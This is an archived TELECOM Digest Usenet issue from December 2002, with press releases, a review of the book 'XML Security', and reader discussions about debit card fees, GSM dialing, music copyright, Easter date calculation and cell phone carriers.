felt that change was best accomplished through the existing structure of the church, with its system of Bishops, etc. The 'non-conforming Puritans' felt it best to make each church (congregation) responsible for its own affairs, thus came the establishment of the Congregational Church in the USA. That did not stop them all from going to each other's dinners however, which they did all the time. Regards wags and British Thanksgiving and Fourth of July, I guess you know what certain Indian tribes in the USA call 'Thanksgiving Day'. They refer to it, quite appropriatly, as 'The Day of Mourning', along with Christopher Columbus as a devil. I mean, if visitors came to your home (land), you shared your dinner and possessions with them to be their friends, and they repaid you by killing your relatives and those of you that were allowed to live had all your land stolen and you were moved onto tiny, filthy substandard 'reservations' would you like that turn of events? 'Columbus Day' in the USA should rightly be termed the day that Europeans created a new level of arrogance when they landed on these shores. And its not like Thanksgiving Day even means everyone in America is 'thankful'. I do volunteer work for Salvation Army of Independence/ Montgomery County, and we *attempted* to see to it that everyone got a good dinner last Thursday, in cooperation with the Food Basket, one of our local charities. My kettle is located outside Marvin's Grocery Store on 10th and Myrtle Streets. I was standing there with my bell on Friday night. A woman came by and said ""I gave money on Wednesday"". I said to her ""I am still standing here tonight, I guess you did not give enough."" She gave me a sort of funny look, got in her purse and found a couple more dimes to put in the pot. I thanked her for her generosity, and she walked inside the store. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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Townson Public Interest Registry Contract to Manage org Finalized (Anne Shroeder) Book Review: ""XML Security"", Blake Dournaee (Rob Slade) Re: Business Line vs Residential Line (in Kentucky) (Dave Garland) Re: Is There a Dial Helper For When We Travel? (Phil McKerracher) Re: Visa, Mastercard Seen Foiling Rivals (my_name@is.invalid) Re: Ravings (Robert Bonomi) Re: Number Read Back Service (Manny Olds) Re: Study: Car Call Value Equals Crash Cost (Phil Earnhardt) Re: 011+ From NANP vs. 00+ From Most of World (Joseph) Re: 011+ From NANP vs. 00+ From Most of World (Colum Mylod) Copyright (C) 2000, Me (Joey Lindstrom) Is Share Day Message Spam? (TELECOM Digest Editor) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. 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Reston, VA - December 3, 2002 - The Public Interest Registry (PIR) today announced the execution of its contract with the Internet Corporation for Assigned Names and Numbers (ICANN) to operate the .ORG top-level domain. PIR will assume responsibility from the current registry operator, VeriSign, on January 1, 2003. We are pleased to be moving forward in our efforts to serve the worldwide .ORG community, said ISOC President/CEO Lynn St.Amour. PIR shares ISOC's vision of setting a new standard for registry services that will meet the unique interests of non-commercial organizations on the Internet. PIR board chairman David Maher explained that PIR will reinforce and build on .ORG's heritage as the home of non-commercial entities on the Internet through global educational outreach and enhanced services. PIR's goal is to provide open, responsible and global stewardship of .ORG. This will be done through educational support, feedback mechanisms, superior technology, new services for noncommercial registrants, and international outreach. The PIR board is composed of technologically savvy experts in a variety of areas from around the globe who share the vision for setting a new standard for registry services. They will guide the organization in the remainder of its staffing and administrative tasks through the transition and the first year of start-up. Board members include Gerry Baranano, Frode Greisen, Lawrence H. Landweber, Alan Levin, Andy Linton, David W. Maher and Marc Rotenberg. David Maher is the chairman, Andy Linton is the secretary and Alan Levin is the treasurer. Lynn St. Amour, ISOC President/CEO is an ex-officio non-voting representative to the PIR board. PIR will assume the role of registry operator for .ORG on January 1, 2003. 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PIR is based in Reston, Virginia. Further information can be found at www.publicinterestregistry.org. Contact: Julie Williams jwilliams@isoc.org 703-326-9880, x111 or 703-402-6715 ------------------------------ From: Rob Slade Organization: Vancouver Institute for Research into User Date: Tue, 3 Dec 2002 07:42:56 -0800 Subject: Book Review: ""XML Security"", Blake Dournaee BKXMLSCR.RVW 20021003 ""XML Security"", Blake Dournaee, 2002, 0-07-219399-9, U$59.99 %A Blake Dournaee %C 300 Water Street, Whitby, Ontario L1N 9B6 %D 2002 %G 0-07-219399-9 %I McGraw-Hill Ryerson/Osborne %O U$59.99 800-565-5758 fax: 905-430-5020 %O http://www.amazon.com/exec/obidos/ASIN/0072193999/robsladesinterne %P 379 p. %T ""XML Security"" Chapter one is an outline of the book. The differences between symmetric and asymmetric cryptography are given in chapter two, which provides a good treatment of the basics, although there are odd additions of extraneous details. The XML primer, in chapter three, follows the all-too-common practice of describing syntax rather than function, but the explanation of document parts is useful. The syntax of XML digital signatures, and a brief mention of canonicalization, makes up chapter four. Part two of the introduction to signatures is in chapter five, which concentrates on canonicalization, but does not present this important concept clearly. Chapter six provides some examples, although neither the problems nor the solutions are defined well. The elements of XML encryption are listed in chapter seven. Chapter eight is a promotion for an RSA product. The elements of the XML key management specifications are given in chapter nine. While the syntax of various XML operations is provided properly, the book fails to provide the newcomer to the field with any understanding of the uses or limitations of the XML security provisions. copyright Robert M. Slade, 2002 BKXMLSCR.RVW 20021003 rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ Upcoming (ISC) CISSP CBK review seminars (+1-888-333-4458): December 16, 2002 December 20, 2002 San Francisco, CA February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: Dave Garland Subject: Re: Business Line vs Residential Line (in Kentucky) Date: Tue, 03 Dec 2002 02:25:28 -0600 Organization: Wizard Information It was a dark and stormy night when e_quip@hotmail.com (Bob Travis) wrote: > I want it in my name so I can use the expense as a tax deduction > along with the money we pay for the expense of a home office. It's hard to imagine that the phone company will object to another phone line for your residence. After all, you're online a lot, and don't want to miss calls. IANAL, but would suggest that if you're writing checks (on your business account) to cover it, it is unlikely that it will ever be questioned, regardless of whose name it is in. And if it is, the tax people will probably accept your explanation if it's obvious that you do indeed have a business (you're filing business or self-employment taxes). ------------------------------ From: phil@mckerracher.org (Phil McKerracher) Subject: Re: Is There a Dial Helper For When We Travel? Date: 3 Dec 2002 02:52:45 -0800 Organization: http://groups.google.com/ Gail M. Hall wrote in message news:: > ...Is there a dialer helper gizmo that a person could carry similar to a > palm-sized address-phonebook sort of thing where a person could enter > such numbers and then hold it up to the phone mouthpiece and press one > or two buttons and have it beep the tones into the telephone for us. Yes, see http://www.psion.com/computers/ but note that they will be discontinued sometime soon. There is a speaker on the back that tone dials any number from the address book. It's quite sophisticated in that if you tell it where you are it will add the proper dialling codes as well as a configurable prefix for an ""outside line"". It also knows about time zones, summer time, sunrise and sunset etc. You can synchronise it with Outlook. I have one of the earlier models (a 3c). Phil McKerracher www.mckerracher.org ------------------------------ Subject: Re: Visa, Mastercard Seen Foiling Rivals From: my_name@is.invalid Organization: Not Much Date: Tue, 03 Dec 2002 11:41:55 GMT In article , wrote: > In article , > wrote: >> In article , Thomas A. Horsley >> wrote: >> ...and even trying to disguise >> their debit cards so merchants couldn't tell them from credit >> cards. Just for curiosity, why should merchants be able to tell >> the difference? As long as they get their money, why do they >> care if the buyer uses a debit or a credit card? Because they >> *DON'T* 'get their money', not all of it, that is. Card issuers >> _charge_ those who accept cards for that 'convenience'. I speak >> as a merchant who _accepts_ credit-cards for payment, and there is >> a *significant* difference. The 'service charges' I have to pay on >> a transaction against a debit card are nearly *DOUBLE* those I pay >> for processing a real 'credit' card. >> VISA also has another 'wrinkle', the 'corporate' charge-card. This >> is a credit card that provides a number of 'enhanced' services to >> the card-holder -- 'classification' of expenses, mgmt summaries, >> etc. Unfortunately, the merchant who _accepts_ that card as payment >> for his services, *pays* for those services for the customer. I pay >> more than 30% _more_ for accepting a 'corporate' card than I do for >> accepting a regular card. And there is *ABSOLUTELY*NO*WAY* to >> determine in advance _which_ kind of a card it is. I don't know, >> and _can't_find_out_ what this transaction is going to cost, until >> *after* I've been charged for it. My clearinghouse has told me >> this, and VISA _itself_ has confirmed it. >> [TELECOM Digest Editor's Note: Anyway, who says they 'disguise' the >> cards? My card says rather plainly on it, 'Commerce Bank Check >> Card' although it does have a VISA logo on it, and the number >> sequence is a usual VISA type number: twelve digits beginning >> with '4'. >> If the card is not present, as in telephone or mail-order sales, or >> over the internet, for that matter, there is *NO*WAY* to determine >> which kind of a card it is. I take telephone orders -- I found out >> about this the ""hard way"". >> Note: for ""card not present"" transactions, VISA _could_ claim that >> =any= arbitrary transaction was a 'debit', or 'corporate' card, and >> the *merchant* CANNOT verify whether they're telling the truth or >> not. >> [TELECOM Digest Editor's Note: But as a merchant, I am sure you >> know quite well the costs involved in carrying your own paper >> ... in fact very few stores attempt to maintain their own credit >> departments any longer, much preferring to pass off the paperwork >> and risks to large creditors like Visa. And regards debit cards, >> would you rather have to collect on NSF checks all the time or have >> a guarentee from Visa for >some fee per item? PAT] > > As a matter of fact, we *do* run our own credit department as well. > We sell subscription-based services, so *everything* is on a credit > basis of one form or another. At present credit-card transactions > account for less than 5% of sales. Our 'internal' costs for > processing credit-card transactions are virtually identical with those > for 'payment by check'. *BEFORE* the credit-card processing charges > are figured in. This is, in large part, due to the nature of our > business, *and* to very sophisticated automation supporting the > credit/billing process. > It's interesting you should mention NSF checks -- we have had a > *single* instance of that (last week, actually), in the last 5+ years. > As to what I want, I want: > 1) the ability to _know_ what my costs are, *in*advance*, on any given > transaction. > 2) the ability to ""audit"" the accuracy of those costs, as assigned by > the Credit-Card issuer. > 3) *IF* the card _issuer_ is going to charge me *more* for handling > specific classes of their cards, I want to be able to pass that > surcharge through to the card *holder*. > ""Surcharging"" the *merchant* for handling debit-card transactions is > disingenious, at best. The 'risk' to the card issuer on such > transactions is *ZERO*. The issuer doesn't approve the transaction > until _after_ they have actually withdrawn the money from the > cardholder's account. They're _not_ 'advancing' the payment to the > merchant, there is *no* 'cost of carry'. > The reason for that additional charge is 'profiteering', pure and > simple. Since the payment _from_ the card-holder is immediate, they > don't have the chance to ""get rich"" off the finance charges imposed on > any 'unpaid balance'. So, they have to make money on the transaction > 'somewhere else'. > Similarly with the 'corporate' cards. The issuer provides a 'nice' > bundle of additional services to the cardholder. *Somebody* has to > pay for those 'extras'. What is the benefit _to_the_merchant_ of > those 'extras'?? Why should the _merchant_ who accepts the card get > stuck with that 'extra' cost? If the cardholder wants those services, > let the cardholder _pay_ for them. That *is* the 'fair' way to do > things. > I'm entirely willing to pay the 'base-level' transaction fees for > processing credit cards. I object _violently_ to being forced, > *involuntarily*, to pay for those ""other"" services, from which I > derive *NO* benefit. > Would you buy gasoline from a station that has an advertized price of > $1.69/gal, but charged you $1.69/gal, or $2.29/gal, or $3.17/gal, > *and* wouldn't tell you which price you were paying until AFTER you'd > filled your tank? That is *EXACTLY* the situation with > 'credit/corporate/debit' cards today. > [TELECOM Digest Editor's Note: One slight correction in what you say, > regards debit cards. The merchant does not get his money, nor does the > money come out of the card holder's account at the time approval is > given, but rather, when the *actual document* or magnetic tape entry > reaches the bank. You, sir, know not that of which you speak. As far as _today's_ world goes. The Fed Reserve 'clearing' system is no longer a 'one run a night' batch network. It's all OLTP-based now. > Sales authorization is given based on what the > account *looks like at the time of approval.* A sale could be approved > because there is money in the account or the sale is under the daily > limit for the customer. But before the merchant's paper gets to the > office, some other merchant slides in with a check the customer wrote > or gets his debit charges in first. He gets paid because there is > actual money in the account to pay him. Now your paper shows up a few > days later -- the account is devoid of money -- you still get paid > since sales authorization guarenteed you your money. Now the bank is > left holding the bag. I know you are probably saying why didn't the > bank put a 'hold' on the money you had been guarenteed. In some cases > they do, but usually they do not. It depends on the customer's > relationship with the bank in many cases. PAT] I don't submit _any_ paper, or mag tape to my credit-card clearinghouse. It is 100% 'on-line' real-time transaction processing. I have processed a debit card transaction at 8PM local time, and the corresponding funds were *IN* _my_ merchant deposit account at 9AM the *next* day. Credit-card charges are available to me, i.e. in my deposit account, as of the beginning of the 3rd day after the transaction. 'Paperless' EFT transactions now get handled a _lot_ faster than even a few years ago. ------------------------------ Subject: Re: Ravings Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Tue, 03 Dec 2002 12:18:57 GMT In article , Gary Novosielski wrote: > [PAT] wrote: >> Pope Gregory declared that henceforth the more modern Anglicized >> Easter holiday would be celebrated by the church (after all, why should >> the pagans get all the fun?) as a religious day, and that it would in >> fact be celebrated at Mass on the first Sunday following the New Moon >> in the Spring Equinox or Solstice, meaning it will always happen >> between March 22 and April 15, which was about when Goddess Oeaster >> would appear each year centuries before. > I think you'll find that Easter falls on the first Sunday following the > first *FULL* moon (not new moon) after the Spring equinox. More-or-less correct, *EXCEPT* that the actual phase of the the satellite orbiting the Earth has _NOTHING_ to do with it. And the range of dates is March 22 through April 25. Not April 15. There is the 'astronomical' full moon, and the 'liturgical' one. Easter is based on the date of the 'liturgical' full moon. The issue, and solutions thereunto, _predates_ Pope Gregory by more than a _thousand_ years. ""Way back when"", somebody in the Church did a set of calculation of when the Full Moon 'should' occur. Those calculations remain the *official* means of determining when any/all of the ""movable feasts"", of which Easter is the best known, occur. The 'gotcha' is that those calculations _do_not_ precisely match the real world. The gory details of the mechanics: 1) take what _century_ it is, i.e., year/100, 2) 'reduce' that number, modulo a constant (19) 3) use -that- number to select one of 7 look-up tables, 4) use the low two digits of the year to index into that selected look-up table. 5) the date listed is 'Easter' for that year. This is a modified form -- established by Vitorius of Aquitania in 457 A.D. at the request of the then Pope -- of the methodology first established by the Observatory at Alexandria, in accord with the declarations of the Council of Nicea, in 325 A.D. Which was called, among other reasons, to 'reconcile' several *different* and incompatable methodologies used by various factions of the Church. The tables were modified in 1582, when Pope Gregory XIII 'corrected' the Julian Calendar. ""Everything"" was moved by 10 days, to bring the Equinox back to March 21. *BUT* it was determined that Easter was 3 days off, and thus the correction for Easter was only _7_ days. ------------------------------ From: Manny Olds Subject: Re: Number Read Back Service Date: 3 Dec 2002 14:05:43 GMT Organization: Persiflage Press Ryan Nichols wrote: > I used to have a number that I could call to get the number I am > dialing on with my butt set while I am working in a comm room. I have > since lost that number; are there any others out there? I've thought > about ust calling SWBell and GTE and requesting the information > again. I'm needing one for AR and TX. I just call my own cell phone when I want to find that out. It has caller ID enabled as part of the service. Is there some reason that won't work for calls out of your comm room? Manny Olds (oldsma@pobox.com) Riverdale Park, Maryland, USA > is excellent discipline for an author to feel that he must say all > he has say in the fewest possible words, or his reader is sure to > skip them; and in the plainest possible words, or his reader will > certainly misunderstand them."" -- Ruskin ------------------------------ From: Phil Earnhardt Subject: Re: Study: Car Call Value Equals Crash Cost Date: Tue, 03 Dec 2002 09:00:14 -0700 On Mon, 2 Dec 2002 01:05:55 -0500, Monty Solomon wrote: > Opponents of banning cell phone usage by drivers have cited studies > that showed the benefit of car calls outweighed the toll from such > accidents _ medical bills and property damage, for example. That's interesting. Since cell phone users derive this alleged economic benefit from using their phones while driving, would they be willing to bear the economic burden of increased accidents on the road allegedly caused by those phones? Would cell phone users be willing to pay a $500 fee if they were using their cell phone at the time of an accident? How about a flat fee for each activated cell phone in the US? How about a a per-minute usage charge? Or maybe charging users whenever their connection is handed off to a new cell -- when they're moving? No matter what system would be chosen. I'm certain the cellular community would balk at any such charges. phil ------------------------------ From: Joseph Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Tue, 03 Dec 2002 10:49:45 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 2 Dec 2002 00:21:30 -0800, Dave Close wrote: > Joseph writes: >> Funny I can input +cc/area code/number on my mobile and all calls go >> through no matter where they are :) > What company? You really can dial 61 2 xxxx xxxx and reach a number in > Australia, not Minnesota? Do you mean you can actually dial 011 61 2 > xxxx xxxx and get Australia? Then can you dial 011 1 612 xxx xxxx and > get Minnesota? I didn't think so. > Dialing +1 612 xxx xxxx means an actual dial string of 011 1 612 ... > It shouldn't mean you ignore the + just because the call is NANP. That > would mean that you can't always dial the same sequence everywhere. If you look at the original post it says ""input +cc/area code/number"" and that is literally what I enter and it will work to any area and from any area. I can dial +12063549999, 12063549999, 2063549999 or 3549999 and all will work. + followed by country code/area code/number will *always* work or at least it always will with GSM. I can *always* dial the same sequence everywhere if I know the country code and area code used. It makes for easy uniform dialing with less possible errors in dialing and not having to learn what the local dialing procedures and patterns are as the default +cc/ac/number will always work. Another standardization that is made with GSM. Unrelated, but it's also interesting that I can be roaming far from my home area and if I dial 7 digits I will connect to any number in my local 7 digit calling area. Replies are seldom read. Please reply in the group [TELECOM Digest Editor's Note: My Nokia 5165 phone does the same thing; dial only seven digits and the phone defaults to ten full digits. That's only the software in the phone doing that. Whatever is considered your 'home' area code is what the Nokia will plug in for the first three digits if it only recieves seven digits in dialing. PAT] ------------------------------ From: Colum Mylod Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Tue, 03 Dec 2002 13:38:40 +0000 Organization: Me own Reply-To: cmylod-deleteme@bigfoot.com On 2 Dec 2002 00:21:30 -0800, Dave Close wrote: > Joseph writes: >> Funny I can input +cc/area code/number on my mobile and all calls go >> through no matter where they are :) > What company? You really can dial 61 2 xxxx xxxx and reach a number in > Australia, not Minnesota? Do you mean you can actually dial 011 61 2 > xxxx xxxx and get Australia? Then can you dial 011 1 612 xxx xxxx and > get Minnesota? I didn't think so. > Dialing +1 612 xxx xxxx means an actual dial string of 011 1 612 ... Not so. + tells the phone to send the number flagged as international format, not to substitute IDD prefix for the +. Otherwise world travellers would not be able to use their phone's stored numbers in NANP. For example in Europe 00 CC will not connect on a POTS line if in the same country as the CC specified but with a GSM handset +CC will connect ok. Headers spam-proofed. Use cmylod at bigfoot . com ------------------------------ From: Joey Lindstrom Date: Tue, 03 Dec 2002 13:34:56 -0700 Subject: Copyright (C) 2000, Me Reply-To: joey@lairdsflooring.com On Mon, 2 Dec 2002 17:16:51 EST, JDS wrote: > Downloading music isn't necessarily a crime. Under even the most > limited interpretation of ""fair use"", ownership of a physical > ""official"" medium gives an unlimited perpetual license to the personal > enjoyment of its contents. It can be copied to a cassette or an MP3 > player or ripped onto a computer, to be used in a car, a gym, or at a > desk. Furthermore, CD ownership confers the right to download > portions for use at the owner's convenience. That final sentence is, alas, incorrect - even though it shouldn't be. Under current fair use doctrine, it is legal for you to make a copy, for your own personal use and not to give away or sell or otherwise distribute, of YOUR OWN legally-purchased CD. It is *NOT* legal for you to download somebody else's MP3 of a song EVEN IF you do own a legally-purchased copy of the disc it came on. It's a fine distinction but there's no question that it exists. I'm just playin' devil's advocate. I agree completely with John Higdon's views on the RIAA - if they'd give the public what it WANTS, they'd make money hand over fist. Bottled-water companies make a mint selling a product that's freely available just about anywhere. Telling me that I can't download an MP3 version of a song I've already paid for is just plain ludicrous - nevertheless, they do have that right. What they CAN do and what they SHOULD do (with that right) are two different things. Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ Subject: Is Share Day Message Spam Date: Sun, 1 Dec 2002 15:17:19 EST From: Name Blocked by Moderator [TELECOM Digest Editor's Note: This message came in over the weekend. I have deliberatly removed the name because I see no reason to possibly cause the person to receive hate mail or more spam, etc. My response follows. PAT] You write in comp.dcom.telecom, in article , > Its that time of the month again (the last day of the month and the > first day of the new month) that I use to ask you to please, kindly > remember TELECOM Digest and my expenses ... And in article : > Its that time of the month again (the last day of the month and the > first day of the new month) that I use to ask you to please, kindly > remember TELECOM Digest and my expenses ... And in article : > Its that time of the month again (the last day of the month and the > first day of the new month) that I use to ask you to please, kindly > remember TELECOM Digest and my expenses ... Would you please stop spamming your own newsgroup! [TELECOM Digest Editor's Note: That's the first time I have ever received a message quite like that. The message was signed; the person did not say to make it anonymous, but as I think about it now, maybe it is the consensus of many of you, so think that one of YOUR friends wrote it. In a make-believe world, I wish it was not necessary to 'spam my own newsgroup'. In the same make-believe world it would not be required for PBS Radio/TV to give commercials about themselves. I do not loan out my now considerable mailing list or allow people to copy from it. (Should I start?) I do not accept other than *very low key* advertising on the web site (no banner ads, no double-click pop up windows; no diagnosing what causes your personal pleasure to happen and focusing advertising messages at you accordingly. (Should I start?) No wholesale spamming in any newsgroup or e-journal under my control. (Should I start?) At the same time, I like to eat dinner at night, and have a warm house to live in. There is not enough time in a day, nor energy, to put out this Digest and maintain the web site AND work 8-10 hours per day at a 'regular' job. (Should I quit the Digest and work instead?) All the above are characteristics of this make-believe world. I thought (still think) a reasonable compromise is to take one or two days per month and run a single message in each of them discussing these things. The last day of the month and/or the first day of the next month is a good, reliable, steady time to do this. You get several hundred messages in a month's time -- about 50-60 issues of the Digest -- with all of about three or four 'reminder' messages. I do admit to writing one message each month, and using it on the three or four times cut and paste (on that last day/first day formula) on a repeating basis. If that is 'spamming my own newsgroup', then I must apologize. If you are still reading this Digest, then I assume you like to read it. I do not have it exclusively on a web page and then proceed to lock up your browser so you cannot leave without going through several screens of spam and advertising. But here in Real World, where I live, it is necessary to survive the best you can while attempting to be of service in the community as best you can. I would like to entertain a discussion here if anyone wants to have one. I am not saying I will do anything other than view the entire thing with some displeasure and lots of disdain, but I will view it and take suggestions. Bear in mind since my deseased brain took over my life now more than two years ago, I have not had any 'regular' full time employment; I get a small pittance from Uncle Sugar in the Social Security Disability Program (Title 2 money) to live on. Now the floor is yours, again. If the person who wrote the original message to me wants me to sign it, they can send email and say so, and I will. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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End of TELECOM Digest V22 #164 ****************************** NOTE: A misnumbered issue follows, call it 164-A or 165-A and after this misnumbered issue will come the real 165. >From editor@telecom-digest.org Wed Dec 4 02:20:41 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB47Kfb18034; Wed, 4 Dec 2002 02:20:41 -0500 (EST) Date: Wed, 4 Dec 2002 02:20:41 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212040720.gB47Kfb18034@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #164 (really 165, a misnumbered special issue) TELECOM Digest Wed, 4 Dec 2002 02:20:00 EST Volume 22 : Issue 165 Inside This Issue: Editor: Patrick A. Townson Crescent Teams With IBM To Provide Electronic Messenger (Eworldwire) Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ (John R. Levine) Re: Business Line vs Residential Line (in Kentucky) (Dave Garland) Re: Copyright (C) 2000, Me (Greg Hennessy) Re: Copyright (C) 2000, Me (SELLCOM Tech support) More Copyright Idiocy (Joey Lindstrom) Carrier Lookup (John Swein) Re: RIAA Orders US Navy to Surrender (John Higdon) What *is* a ""Domain Name""? (AES/newspost) Re: Debit Cards (J Kelly) Allegiance Telecom - Los Angeles ... (Mike Vandemore) Last of the Ravings! (TELECOM Digest Editor) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 03 Dec 2002 21:24:12 -0500 From: Eworldwire Subject: Crescent Teams With IBM To Provide Electronic Messenger Service Crescent Teams With IBM To Provide Secure Electronic Messenger Service To Health Care Industry Houston, TX/EWORLDWIRE/December 3, 2002 --- Crescent Communications Inc. (OTCBB:CCES), a leading application service provider (ASP), announced today that its BLUEGATE(TM) health care division has partnered with IBM�� (NYSE:IBM) to integrate IBM Sametime�� and BLUEGATE, the Crescent information technology solution for the health care industry. The offering will be called BLUEGATE Consult(TM), declares Crescent Chief Executive Officer Manfred Sternberg. Sametime - a proprietary and secure instant messaging, conferencing and meeting solution - is the most widely used product of its kind in the corporate world. BLUEGATE Consult provides stable and improved security features, allowing medical providers to communicate sensitive patient information electronically, instantly. BLUEGATE Consult is part of the more complete BLUEGATE solution that enables physicians to become more efficient by using sound, secure technology while meeting emerging requirements from the Health Information Portability and Accountability Act of 1996 (HIPAA). HIPAA, passed by U.S. Congress, mandates that the entire U.S. health care industry process all health care information, including billing and record storage, through a secure data interchange beginning on April 14, 2003. BLUEGATE provides a cost-effective, efficient way for hospitals, large clinics, regional laboratories and health plans to transmit confidential patient records, documents and other information across the Internet to physicians and patients. ""Think about it: Why shouldn't the health care industry enjoy information technology at the level corporate America has for the last decade?"" Sternberg asks. ""Many large corporations have constructed complex networks to bring people together from different geographic locations, with important ideas and critical business information."" ""We're happy to see Crescent include a real-time collaboration product into its BLUEGATE health care solution,"" says David Pumpa, manager of IBM Worldwide Technology Partner Sales. ""With IBM Sametime, doors will be opened to instantaneous, live communication. Between doctors, nurses and pharmacists, communications can be streamlined and improved dramatically with this tool."" International Data Corp. (IDC), a Framingham, Mass., market-research firm, says that by the end of last year, 20 million people were using instant messaging in business. IDC predicts that figure will rise to 300 million by the end of 2005. ""IM products are used by medical professionals in hospitals, clinics and trauma centers where real-time information flow can be critical,"" Robert Mahowald of IDC says. ""In order to comply with HIPPA requirements, hospitals will look for secure messaging products in the near-term."" With BLUEGATE Consult, physicians have another medium to consult efficiently with their colleagues. IBM Corp. is the world's largest information technology company, with 80 years of leadership in helping businesses innovate. IBM Software offers a wide range of middleware and operating systems for all types of computing platforms, allowing customers to take full advantage of the new era of e-business. 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For Media Questions: http://www.eworldwire.com/forthemedia.htm ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ Date: 3 Dec 2002 21:40:02 -0500 Organization: I.E.C.C., Trumansburg NY USA > I can dial +12063549999, 12063549999, 2063549999 or 3549999 and all > will work. > [TELECOM Digest Editor's Note: My Nokia 5165 phone does the same > thing; dial only seven digits and the phone defaults to ten full > digits. That's only the software in the phone doing that. No, that's the cell carrier's switch interpreting 7D numbers as being in your own area code, just like POTS switches do. I also have a 5165 with service from Cingular, and although 7D calls work fine when I'm on my home system, they don't work when roaming. The phone just sends the digits you dial or that are retrieve from the phone book. GSM phones have a plus button that let you do consistent worldwide dialing, but North American AMPS, TDMA, and CDMA phones don't. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail [TELECOM Digest Editor's Note: Begging pardon ... when I got my *first* Nokia 5165 I was staying in Chicago, IL during the absolutely horrid winter of 2000-01. Mike Sandman got it turned on for me, in his suburban town located in area *630* for Roselle, IL. I programmed it with the seven digit number for Mike's office, 980-xxxx. When I moved here to Independence in December, 2001, I brought the phone along and used it frequently on the Greyhound/Jefferson Lines busses to get here. It got Mike okay *as speed dialed from the memory of the phone* (seven digits). When I got here, it continued to work *as programmed in memory with seven digits* even though AT&T has no specific service in Independence. (It always would roam off of Dobson Cell Towers in Liberty, Kansas; a 'Cellular One' operation). Mike found out that AT&T *absolutely hates* to give away anything, so they locked me on their tower as long as possible out of Tulsa (and once I got here in Indy) as long as they could. It was only when the signal got to be so awful and they could not hold it any longer they would pass it off to the nearest Cellular One outfit. This is quite beside the point, but once I switched to Cingular, the signal shot through the roof, literally, sitting in the same chair on my same back porch. Cingular had a large pile of cellular phones in their storefront window on Penn Street downtown here, so when I went in to see about getting my Nokia 5165 converted over to them (saving the expense of a new contract, etc) the lady took one look at it, clucked her tongue and said, ""AT&T has their phones locked up with firmware inside. We cannot convert them to Cingular."" Still having some memories of Chicago, IL in my mind, I thought maybe she was umm, lying to me. But a stop at Dobson's Cell One around the corner brought me the same answer. They also deal with Nokia 5165 by the truckful. Radio Shack up the street (he brokers Alltel but will turn on any phone he can and put them on Alltel) had the same answer. George, the company man from Alltel in the kiosk at Walmart Supercenter told me the same thing, with some choice words about AT&T and how they lock their cellular customers in and 'fix' the phone so no one else can 'use' it later. United States Cellular's agent downtown said the same thing: In all respects, it is Nokia 5165, but do not try to use it anywhere but AT&T. If you get rid of AT&T because you do not like them for some reason, you may as well throw the phone away. Just get used to having AT&T try to handle your call from a tower in Tulsa whenever possible, or get a half-baked signal using Dobson Cell One. That's how AT&T does it. Again, I am digressing ... all during the above paragraph as I stuggled with my AT&T service here in Independence, I *was* able to speed dial Mike's seven digit number, because the phone *thought* it was a 630 area phone. I finally got a new Cingular Wireless account with a new Nokia 5165. Seated side by side, I would see two identical phones, one with the 'extended area' screen from AT&T and the signal strengh barely moving. The Cingular phone on the other hand was always lively on its signal. I am certain they had to be going from the same tower, southeast of town in Liberty, Kansas, on Dobson Cell Towers. Mike had my AT&T account stopped (he called me one day and said would I please turn the old Nokia off for a minute; they want to kill it and can't as long as it is turned on). I turned it off, then back on to reregister the signal, and there wasn't any service on it any longer. Since I do not have reason to use AT&T that often any longer, and not willing to toss away a perfectly good phone, I had it put on AT&T 'Free to Go' prepaid service with a Wichita, Kansas 316 number for the calls now and then I do not want to have related to my own personal phone lines. No John, I am certain the Nokia 5165 allows seven digit dialing to what it considers its 'home area code'. You see when I first got here in Independence I kept the 630 number Mike had put on it to start with. It continued to do seven digit dialing to Mike's office all that time. I guess I mentioned how Cingular Wireless had all their local Independence customers on 620-870, a 'wide area toll free local calling' exchange at first. Then quite innocently they decided to kill the deal they had with Southwestern Bell for that exchange but only tell the customers who specifically asked about it. They moved me over to 620-330 (local Independence cellular service) last week but left it up to me to get SWB to reroute my call forwarding on busy/ no answer to the new number which *finally* took place just 